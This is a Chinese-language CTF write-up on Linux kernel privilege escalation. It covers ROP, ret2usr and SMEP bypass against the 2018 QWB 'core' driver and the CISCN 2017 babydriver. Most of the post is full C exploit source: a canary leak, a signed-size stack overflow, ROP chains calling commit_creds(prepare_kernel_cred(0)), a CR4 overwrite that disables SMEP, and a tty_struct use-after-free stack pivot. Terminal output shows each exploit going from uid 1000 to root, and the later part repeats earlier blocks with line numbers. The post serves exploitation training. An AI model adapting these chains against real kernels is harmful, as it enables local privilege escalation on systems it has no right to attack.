2020-05-08

Linux_Kernel_Pwn(ROP)

此页稍微讲一下ROP与绕过smep寄存器的检测.

引入

其实内核的栈溢出与用户空间程序的栈溢出类似,都是寻找gadget,然后执行system(“/bin/sh”),只是其中包含有状态的切换,以及在执行system(“/bin/sh”)需要将用户权限提权,从而才能成功执行RCE从而getshell.
上一篇文章已经讲过了此页需要的调试相关的内容,之后将不再复述.

2018 强网杯 - core with ROP

题目附件

简单分析

root@kali:~/QWB2018-core# mkdir tmp
root@kali:~/QWB2018-core# cp core_give.tar.gz ./tmp/
root@kali:~/QWB2018-core# cd tmp/
root@kali:~/QWB2018-core/tmp# ls
core_give.tar.gz
root@kali:~/QWB2018-core/tmp# tar -zxvf core_give.tar.gz 
./give_to_player/
./give_to_player/bzImage
./give_to_player/vmlinux
./give_to_player/core.cpio
./give_to_player/start.sh
root@kali:~/QWB2018-core/tmp# cd give_to_player/
root@kali:~/QWB2018-core/tmp/give_to_player# ls
bzImage  core.cpio  start.sh  vmlinux

题目给了三个必要的文件以及vmlinux,接下来分析start.sh 以及解压文件系统镜像分析

root@kali:~/QWB2018-core/tmp/give_to_player# cat start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

分配了64M大小,CPU选项进行了设置,开启了kaslr,CTFWiki上面有说64M改成128M才能运行内核

root@kali:~/QWB2018-core/tmp/give_to_player# mkdir tmp
root@kali:~/QWB2018-core/tmp/give_to_player# cp core.cpio ./tmp/core.cpio.gz
root@kali:~/QWB2018-core/tmp/give_to_player# cd tmp/
root@kali:~/QWB2018-core/tmp/give_to_player/tmp# gunzip core.cpio.gz 
root@kali:~/QWB2018-core/tmp/give_to_player/tmp# cpio -idmv < core.cpio
......
root@kali:~/QWB2018-core/tmp/give_to_player/tmp# ls
bin  core.cpio  core.ko  etc  gen_cpio.sh  init  lib  lib64  linuxrc  proc  root  sbin  sys  tmp  usr  vmlinux
root@kali:~/QWB2018-core/tmp/give_to_player/tmp# cat init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

加载驱动文件core.ko,复制了一份kallsyms于tmp目录下,并将/proc/sys/kernel/下的kptr_restrict与dmesg_restrict写入1,从而禁止了查看/proc下的kallsyms文件以及不能通过dmesg查看kernel信息,但可以从tmp下的kallsyms文件获取commit_creds,prepare_kernel_cred的地址,此外根目录下有一个gen_cpio.sh文件用于打包文件系统镜像

Exploit

Exploit
漏洞点:

1.core_read具有栈上任意位置内容读取用于泄漏Canary,因为数组的位置可以由用户自己设置  
2.opy_to_user函数由于比较的时候为有符号变量,而qmemcpy的时候强制转换成无符号变量,从而具有有栈溢出

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
	if(!getuid())
	{
		system("/bin/sh");
	}
	else
	{
		puts("[*]spawn shell error!");
	}
	exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xFFFFFFFF81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

	if(kallsyms_fd < 0)
	{
		puts("[*]open kallsyms error!");
		exit(0);
	}

	char buf[0x30] = {0};
	while(fgets(buf, 0x30, kallsyms_fd))
	{
		if(commit_creds & prepare_kernel_cred)
			return 0;

		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &commit_creds);
			printf("commit_creds addr: %p\n", commit_creds);
			vmlinux_base = commit_creds - 0x9C8E0;
			printf("vmlinux_base addr: %p\n", vmlinux_base);
		}

		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &prepare_kernel_cred);
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
			vmlinux_base = prepare_kernel_cred - 0x9CCE0;
		}
	}

	if(!(prepare_kernel_cred & commit_creds))
	{
		puts("[*]Error!");
		exit(0);
	}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
	printf("[*]set off to %ld\n", idx);
	ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
	puts("[*]read to buf.");
	ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
	printf("[*]copy from user with size: %ld\n", size);
	ioctl(fd, 0x6677889A, size);
}

int main()
{
	save_status();
	int fd = open("/proc/core", 2);
	if(fd < 0)
	{
		puts("[*]open /proc/core error!");
		exit(0);
	}
	
	find_symbols();
	ssize_t offset = vmlinux_base - raw_vmlinux_base;

	set_off(fd, 0x40);

	char buf[0x40] = {0};
	core_read(fd, buf);
	size_t canary = ((size_t *)buf)[0];
	printf("[+]canary: %p\n", canary);

	size_t rop[0x1000] = {0};

	int i;
	for(i = 0; i < 10; i++)
	{
		rop[i] = canary;
	}
	rop[i++] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)

	rop[i++] = 0xFFFFFFFF810A0F49 + offset; // pop rdx; ret
	rop[i++] = 0xFFFFFFFF81021E53 + offset; // pop rcx; ret
	rop[i++] = 0xFFFFFFFF8101AA6A + offset; // mov rdi, rax; call rdx; 
	rop[i++] = commit_creds;
	
	rop[i++] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
	rop[i++] = 0;

	rop[i++] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; 

	rop[i++] = (size_t)spawn_shell;			// rip 
	
	rop[i++] = user_cs;						// cs
	rop[i++] = user_rflags;					// rflags
	rop[i++] = user_sp;						// rsp
	rop[i++] = user_ss;						// ss

	write(fd, rop, 0x800);
	core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));

	return 0;
}

因为含有内联的汇编语言,所以需要手动设定汇编的格式

1	gcc exploit.c -static -masm=intel -g -o exploit

EXP函数概述

1.因为需要返回用户态,故利用save_status函数保存了cs、rsp、ss、rflags的寄存器值  
2.由于开启了kaslr,从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的地址,由函数find_symbols实现,并计算出程序基址  
3.core_read,core_copy_func,set_off三个函数实现了驱动的必要功能,spawn_shell用于返回用户态时getshell

rop[i++] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)

rop[i++] = 0xFFFFFFFF810A0F49 + offset; // pop rdx; ret
rop[i++] = 0xFFFFFFFF81021E53 + offset; // pop rcx; ret
rop[i++] = 0xFFFFFFFF8101AA6A + offset; // mov rdi, rax; call rdx; 
rop[i++] = commit_creds;

首先执行了prepare_kernel_cred(0),返回值交予rax寄存器,继而将rax交予rdi并执行commit_creds,成功将用户权限提升到root
由于call指令会将调用函数的下一行的RIP压入栈中,而此gadget又没有ret指令,故将rdx中存入一段gadget将原RIP放入通用寄存器中,并返回到commit_creds指针处

rop[i++] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; 
rop[i++] = (size_t)spawn_shell;			// rip 
rop[i++] = user_cs;						// cs
rop[i++] = user_rflags;					// rflags
rop[i++] = user_sp;						// rsp
rop[i++] = user_ss;						// ss

切换GS寄存器的值,并返回用户态执行了spawn_shell函数getshell

2018 强网杯 - core with ret2usr

Exploit
在文章一中有讲,如果内核运行时没有开启smep保护,那么内核态亦可执行用户态的函数代码,对比如上的方法下方的代码则将提权在用户态中用函数指针的方法实现

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void get_shell(void){
    system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xFFFFFFFF81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

	if(kallsyms_fd < 0)
	{
		puts("[*]open kallsyms error!");
		exit(0);
	}

	char buf[0x30] = {0};
	while(fgets(buf, 0x30, kallsyms_fd))
	{
		if(commit_creds & prepare_kernel_cred)
			return 0;

		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &commit_creds);
			printf("commit_creds addr: %p\n", commit_creds);
			vmlinux_base = commit_creds - 0x9C8E0;
			printf("vmlinux_base addr: %p\n", vmlinux_base);
		}

		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &prepare_kernel_cred);
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
			vmlinux_base = prepare_kernel_cred - 0x9CCE0;
		}
	}

	if(!(prepare_kernel_cred & commit_creds))
	{
		puts("[*]Error!");
		exit(0);
	}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}

void get_root()
{
	char* (*pkc)(int) = prepare_kernel_cred;
	void (*cc)(char*) = commit_creds;
	(*cc)((*pkc)(0));
}

void set_off(int fd, long long idx)
{
	printf("[*]set off to %ld\n", idx);
	ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
	puts("[*]read to buf.");
	ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
	printf("[*]copy from user with size: %ld\n", size);
	ioctl(fd, 0x6677889A, size);
}

int main()
{
	save_status();
	int fd = open("/proc/core", 2);
	if(fd < 0)
	{
		puts("[*]open /proc/core error!");
		exit(0);
	}
	
	find_symbols();
	ssize_t offset = vmlinux_base - raw_vmlinux_base;

	set_off(fd, 0x40);

	char buf[0x40] = {0};
	core_read(fd, buf);
	size_t canary = ((size_t *)buf)[0];
	printf("[+]canary: %p\n", canary);

	size_t rop[0x1000] = {0};

	rop[8] = canary; 
	rop[10] = (size_t)get_root;
	rop[11] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
	rop[12] = 0;
	rop[13] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; 

	rop[14] = (size_t)get_shell;			// rip 
	
	rop[15] = user_cs;						// cs
	rop[16] = user_rflags;					// rflags
	rop[17] = user_sp;						// rsp
	rop[18] = user_ss;						// ss

	puts("[*] DEBUG: ");
	getchar();
	write(fd, rop, 0x800);
	core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));

	return 0;
}

2018 强网杯 - core with bypass_smep

此次手动加入smep保护机制,由于只为了绕过smep,因而防止pti保护机制的影响,在启动脚本中关闭pti保护

1	-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr pti=off" \
2	-cpu kvm64,+smep \

此刻需要绕过CR4寄存器的检测,那么需要对CR4寄存器进行修改,Exploit

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void get_shell(void){
    system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xFFFFFFFF81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

	if(kallsyms_fd < 0)
	{
		puts("[*]open kallsyms error!");
		exit(0);
	}

	char buf[0x30] = {0};
	while(fgets(buf, 0x30, kallsyms_fd))
	{
		if(commit_creds & prepare_kernel_cred)
			return 0;

		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &commit_creds);
			printf("commit_creds addr: %p\n", commit_creds);
			vmlinux_base = commit_creds - 0x9C8E0;
			printf("vmlinux_base addr: %p\n", vmlinux_base);
		}

		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &prepare_kernel_cred);
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
			vmlinux_base = prepare_kernel_cred - 0x9CCE0;
		}
	}

	if(!(prepare_kernel_cred & commit_creds))
	{
		puts("[*]Error!");
		exit(0);
	}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}

void get_root()
{
	char* (*pkc)(int) = prepare_kernel_cred;
	void (*cc)(char*) = commit_creds;
	(*cc)((*pkc)(0));
}

void set_off(int fd, long long idx)
{
	printf("[*]set off to %ld\n", idx);
	ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
	puts("[*]read to buf.");
	ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
	printf("[*]copy from user with size: %ld\n", size);
	ioctl(fd, 0x6677889A, size);
}

int main()
{
	save_status();
	int fd = open("/proc/core", 2);
	if(fd < 0)
	{
		puts("[*]open /proc/core error!");
		exit(0);
	}
	
	find_symbols();
	ssize_t offset = vmlinux_base - raw_vmlinux_base;

	set_off(fd, 0x40);

	char buf[0x40] = {0};
	core_read(fd, buf);
	size_t canary = ((size_t *)buf)[0];
	printf("[+]canary: %p\n", canary);

	size_t rop[0x1000] = {0};

	rop[8] = canary; 
	rop[10] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret
	rop[11] = 0x6F0;
	rop[12] = 0xFFFFFFFF81075014 + offset; // mov cr4, rdi; push rdx; popfq; ret;
	rop[13] = (size_t)get_root;
	rop[14] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
	rop[15] = 0;
	rop[16] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; 

	rop[17] = (size_t)get_shell;			// rip 

	rop[18] = user_cs;						// cs
	rop[19] = user_rflags;					// rflags
	rop[20] = user_sp;						// rsp
	rop[21] = user_ss;						// ss

	puts("[*] DEBUG: ");
	getchar();
	write(fd, rop, 0x800);
	core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));

	return 0;
}

静态编译并打包:

root@kali:~/QWB2018-core/tmp/give_to_player# gcc ret2usr.c --static -o ret2usr -masm=intel -g
......
root@kali:~/QWB2018-core/tmp/give_to_player# gcc rop.c --static -o rop -masm=intel -g
......
root@kali:~/QWB2018-core/tmp/give_to_player# gcc smep.c --static -o smep -masm=intel -g
......
root@kali:~/QWB2018-core/tmp/give_to_player# mv rop ./tmp/
root@kali:~/QWB2018-core/tmp/give_to_player# mv ret2usr ./tmp/
root@kali:~/QWB2018-core/tmp/give_to_player# mv smep ./tmp/
root@kali:~/QWB2018-core/tmp/give_to_player# cd ./tmp
root@kali:~/QWB2018-core/tmp/give_to_player# find . |cpio -o --format=newc > core.cpio
......
root@kali:~/QWB2018-core/tmp/give_to_player# mv core.cpio ..
root@kali:~/babydriver/tmp# cd ..
root@kali:~/QWB2018-core/tmp/give_to_player# ./start.sh
......
/ $ ls
bin          dev          init         linuxrc      root         sys
core.cpio    etc          lib          proc         rop          tmp
core.ko      gen_cpio.sh  lib64        ret2usr      sbin         smep
usr
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./rop
[*]status has been saved.
commit_creds addr: 0xffffffffb229c8e0
vmlinux_base addr: 0xffffffffb2200000
prepare_kernel_cred addr: 0xffffffffb229cce0
[*]set off to 64
[*]read to buf.
[+]canary: 0x7ceda81e4afbc600
[*]copy from user with size: -65280
/ # id
uid=0(root) gid=0(root)
/ # exit
/ $ ./ret2usr
[*]status has been saved.
commit_creds addr: 0xffffffffb229c8e0
vmlinux_base addr: 0xffffffffb2200000
prepare_kernel_cred addr: 0xffffffffb229cce0
[*]set off to 64
[*]read to buf.
[+]canary: 0x78f0b59826473900
[*] DEBUG: 

[*]copy from user with size: -65280
/ # id
uid=0(root) gid=0(root)
/ # exit
/ $ ./smep
......
/ # id
uid=0(root) gid=0(root)
/ #

CISCN_2017_babydriver with bypass-smep

Exploit
结构上一章解释过,此题利用tty_struct中的tty_operations结构从而绕过smep保护机制.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define prepare_kernel_cred_addr 0xFFFFFFFF810A1810
#define commit_creds_addr 0xFFFFFFFF810A1420

void* fake_tty_operations[30];

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}


void get_shell()
{
    system("/bin/sh");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}
int main()
{
    save_status();

	int i = 0;
    size_t rop[32] = {0};
    rop[i++] = 0xFFFFFFFF810D238D;		// pop rdi; ret;
    rop[i++] = 0x6F0;
    rop[i++] = 0xFFFFFFFF81004D80;		// mov cr4, rdi; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;
    rop[i++] = 0xFFFFFFFF81063694;		// swapgs; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0xFFFFFFFF814E35EF;		// iretq; ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;                /* saved CS */
    rop[i++] = user_rflags;            /* saved EFLAGS */
    rop[i++] = user_sp;
    rop[i++] = user_ss;

	for(int i = 0; i < 30; i++)
	{
		fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; 
	}
    fake_tty_operations[0] = 0xFFFFFFFF810635F5;  //pop rax; pop rbp; ret;
    fake_tty_operations[1] = (size_t)rop;
    fake_tty_operations[3] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret

    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[4] = {0};
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_operations;
    write(fd2,fake_tty_struct, 32);

    char buf[0x8] = {0};
    write(fd_tty, buf, 8);

    return 0;
}

EXP概述

1.同样的函数保存四个寄存器的值,利用伪条件竞争从而形成的UAF洞,控制大小,令tty_struct结构与释放掉的内存地址重叠
2.read读取到32个字节的内容,将最后8字节内容即tty_operations指针修改fake_tty_operations,进而可将栈迁移至ROP数组
3.修改CR4寄存器的值,通常为0x6F0,之后即可执行用户态的函数并实现提权

1	root@kali:~/QWB2018-core# mkdir tmp
2	root@kali:~/QWB2018-core# cp core_give.tar.gz ./tmp/
3	root@kali:~/QWB2018-core# cd tmp/
4	root@kali:~/QWB2018-core/tmp# ls
5	core_give.tar.gz
6	root@kali:~/QWB2018-core/tmp# tar -zxvf core_give.tar.gz
7	./give_to_player/
8	./give_to_player/bzImage
9	./give_to_player/vmlinux
10	./give_to_player/core.cpio
11	./give_to_player/start.sh
12	root@kali:~/QWB2018-core/tmp# cd give_to_player/
13	root@kali:~/QWB2018-core/tmp/give_to_player# ls
14	bzImage core.cpio start.sh vmlinux

1	root@kali:~/QWB2018-core/tmp/give_to_player# cat start.sh
2	qemu-system-x86_64 \
3	-m 64M \
4	-kernel ./bzImage \
5	-initrd ./core.cpio \
6	-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
7	-s \
8	-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
9	-nographic \

1	#include <string.h>
2	#include <stdio.h>
3	#include <stdlib.h>
4	#include <unistd.h>
5	#include <fcntl.h>
6	#include <sys/stat.h>
7	#include <sys/types.h>
8	#include <sys/ioctl.h>
9
10	void spawn_shell()
11	{
12	if(!getuid())
13	{
14	system("/bin/sh");
15	}
16	else
17	{
18	puts("[*]spawn shell error!");
19	}
20	exit(0);
21	}
22
23	size_t commit_creds = 0, prepare_kernel_cred = 0;
24	size_t raw_vmlinux_base = 0xFFFFFFFF81000000;
25	size_t vmlinux_base = 0;
26	size_t find_symbols()
27	{
28	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
29	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
30
31	if(kallsyms_fd < 0)
32	{
33	puts("[*]open kallsyms error!");
34	exit(0);
35	}
36
37	char buf[0x30] = {0};
38	while(fgets(buf, 0x30, kallsyms_fd))
39	{
40	if(commit_creds & prepare_kernel_cred)
41	return 0;
42
43	if(strstr(buf, "commit_creds") && !commit_creds)
44	{
45	char hex[20] = {0};
46	strncpy(hex, buf, 16);
47	sscanf(hex, "%llx", &commit_creds);
48	printf("commit_creds addr: %p\n", commit_creds);
49	vmlinux_base = commit_creds - 0x9C8E0;
50	printf("vmlinux_base addr: %p\n", vmlinux_base);
51	}
52
53	if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
54	{
55	char hex[20] = {0};
56	strncpy(hex, buf, 16);
57	sscanf(hex, "%llx", &prepare_kernel_cred);
58	printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
59	vmlinux_base = prepare_kernel_cred - 0x9CCE0;
60	}
61	}
62
63	if(!(prepare_kernel_cred & commit_creds))
64	{
65	puts("[*]Error!");
66	exit(0);
67	}
68
69	}
70
71	size_t user_cs, user_ss, user_rflags, user_sp;
72	void save_status()
73	{
74	__asm__("mov user_cs, cs;"
75	"mov user_ss, ss;"
76	"mov user_sp, rsp;"
77	"pushf;"
78	"pop user_rflags;"
79	);
80	puts("[*]status has been saved.");
81	}
82
83	void set_off(int fd, long long idx)
84	{
85	printf("[*]set off to %ld\n", idx);
86	ioctl(fd, 0x6677889C, idx);
87	}
88
89	void core_read(int fd, char *buf)
90	{
91	puts("[*]read to buf.");
92	ioctl(fd, 0x6677889B, buf);
93
94	}
95
96	void core_copy_func(int fd, long long size)
97	{
98	printf("[*]copy from user with size: %ld\n", size);
99	ioctl(fd, 0x6677889A, size);
100	}
101
102	int main()
103	{
104	save_status();
105	int fd = open("/proc/core", 2);
106	if(fd < 0)
107	{
108	puts("[*]open /proc/core error!");
109	exit(0);
110	}
111
112	find_symbols();
113	ssize_t offset = vmlinux_base - raw_vmlinux_base;
114
115	set_off(fd, 0x40);
116
117	char buf[0x40] = {0};
118	core_read(fd, buf);
119	size_t canary = ((size_t *)buf)[0];
120	printf("[+]canary: %p\n", canary);
121
122	size_t rop[0x1000] = {0};
123
124	int i;
125	for(i = 0; i < 10; i++)
126	{
127	rop[i] = canary;
128	}
129	rop[i++] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret
130	rop[i++] = 0;
131	rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
132
133	rop[i++] = 0xFFFFFFFF810A0F49 + offset; // pop rdx; ret
134	rop[i++] = 0xFFFFFFFF81021E53 + offset; // pop rcx; ret
135	rop[i++] = 0xFFFFFFFF8101AA6A + offset; // mov rdi, rax; call rdx;
136	rop[i++] = commit_creds;
137
138	rop[i++] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
139	rop[i++] = 0;
140
141	rop[i++] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret;
142
143	rop[i++] = (size_t)spawn_shell; // rip
144
145	rop[i++] = user_cs; // cs
146	rop[i++] = user_rflags; // rflags
147	rop[i++] = user_sp; // rsp
148	rop[i++] = user_ss; // ss
149
150	write(fd, rop, 0x800);
151	core_copy_func(fd, 0xFFFFFFFFFFFF0000 \| (0x100));
152
153	return 0;
154	}

1	root@kali:~/QWB2018-core/tmp/give_to_player# gcc ret2usr.c --static -o ret2usr -masm=intel -g
2	......
3	root@kali:~/QWB2018-core/tmp/give_to_player# gcc rop.c --static -o rop -masm=intel -g
4	......
5	root@kali:~/QWB2018-core/tmp/give_to_player# gcc smep.c --static -o smep -masm=intel -g
6	......
7	root@kali:~/QWB2018-core/tmp/give_to_player# mv rop ./tmp/
8	root@kali:~/QWB2018-core/tmp/give_to_player# mv ret2usr ./tmp/
9	root@kali:~/QWB2018-core/tmp/give_to_player# mv smep ./tmp/
10	root@kali:~/QWB2018-core/tmp/give_to_player# cd ./tmp
11	root@kali:~/QWB2018-core/tmp/give_to_player# find . \|cpio -o --format=newc > core.cpio
12	......
13	root@kali:~/QWB2018-core/tmp/give_to_player# mv core.cpio ..
14	root@kali:~/babydriver/tmp# cd ..
15	root@kali:~/QWB2018-core/tmp/give_to_player# ./start.sh
16	......
17	/ $ ls
18	bin dev init linuxrc root sys
19	core.cpio etc lib proc rop tmp
20	core.ko gen_cpio.sh lib64 ret2usr sbin smep
21	usr
22	/ $ id
23	uid=1000(chal) gid=1000(chal) groups=1000(chal)
24	/ $ ./rop
25	[*]status has been saved.
26	commit_creds addr: 0xffffffffb229c8e0
27	vmlinux_base addr: 0xffffffffb2200000
28	prepare_kernel_cred addr: 0xffffffffb229cce0
29	[*]set off to 64
30	[*]read to buf.
31	[+]canary: 0x7ceda81e4afbc600
32	[*]copy from user with size: -65280
33	/ # id
34	uid=0(root) gid=0(root)
35	/ # exit
36	/ $ ./ret2usr
37	[*]status has been saved.
38	commit_creds addr: 0xffffffffb229c8e0
39	vmlinux_base addr: 0xffffffffb2200000
40	prepare_kernel_cred addr: 0xffffffffb229cce0
41	[*]set off to 64
42	[*]read to buf.
43	[+]canary: 0x78f0b59826473900
44	[*] DEBUG:
45
46	[*]copy from user with size: -65280
47	/ # id
48	uid=0(root) gid=0(root)
49	/ # exit
50	/ $ ./smep
51	......
52	/ # id
53	uid=0(root) gid=0(root)
54	/ #